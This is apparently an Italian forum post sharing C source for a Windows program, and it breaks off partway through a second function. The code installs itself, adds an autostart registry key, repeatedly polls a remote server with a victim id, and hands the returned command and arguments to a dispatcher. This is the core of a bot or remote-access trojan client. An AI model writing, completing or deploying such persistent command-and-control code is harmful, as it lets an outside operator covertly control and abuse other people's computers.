Allora, lo inizializzo nella main:

codice:
#include <Windows.h>
#include <curl\curl.h>
#include <transact.h>
#include "macro.h"
#include "stringhe.h"
#include "client.h"
#include "NetQuery.h"
#include "iKey.h"
#include "install.h"
#include "datastream.h"
#define MAX_DATA 1000
#define MAX_PATHi 150

#pragma comment(lib, "libcurld_imp.lib")

char string[MAX_DATA];
size_t function( char *ptr, size_t size, size_t nmemb, void *userdata){
    strcat(string, ptr);
	return 0;
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd){
	FILE * stream;
	CURL *curl;
    CURLcode res;
	char * cmd[4] = {NULL, NULL, NULL, NULL};
	char PATHi[MAX_PATHi];
	strcpy(PATHi, installPATH);
	char URL[150];
	strcpy(URL, CLASSES);
	strcat(URL, "request=showUsingId&id=");
    int e;
	int id;
	char FURL[160];
	char id_storage[6];

	//SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
	if((stream = fopen(strcat(PATHi, LOG), "r")) == NULL){
	e = install(LOG);
	AddAutoStartKey(TRUE);
	}
	else{
		fclose(stream);
	}

	id = getRecord(PATHi);
	_itoa(id, id_storage, 10);
	sprintf(FURL, "%s%s%s%s", URL, id_storage, "&version=", VERSION); 
    while(1){
	  curl = curl_easy_init();
	  if(curl) {
	         curl_easy_setopt(curl, CURLOPT_URL, FURL);
	         curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, function);
             res = curl_easy_perform(curl);
			 curl_easy_cleanup(curl);
	         explode(string, cmd, "\n"); 
			 if(strlen(cmd[1]) > 10){
	         client_easy_init(cmd[1], cmd[3]);
	         string[0] = '\0';
	         Sleep(1500);
			 }
			 else{
				 //Aspettiamo che l'utente si riconnetta ad internet e ripetiamo il ciclo
				 string[0] = '\0';
				 Sleep(1500);
			 }
          }
  }
  return 0;
}

e lo passo come argomento qui:

codice:

#include <string.h>
#include <Windows.h>
#include <time.h>
#include "macro.h"
#include "stringhe.h"
#include "funzioni.h"
#include "NetQuery.h"
#include "datastream.h"

bool client_easy_init(char *action, char *args){
	if(!strcmp(args, "argc = ")){ // Se la lista dei comandi è vuota torna alla main in attesa di un comando.
		return false;
	}
	int pid;
	char cpid[6];
	int MB;
	char cMB[10];
	char * command = NULL;
	char * argc = NULL;
	char *arg1 = NULL, *arg2 = NULL, *arg3 = NULL;
	command = action + 10;
         argc = args + 7; 
          arg1 = strtok(argc, "_");
          arg2 = strtok(NULL, "_"); 
          arg3 = strtok(NULL, "_");
          

	CONTINUA...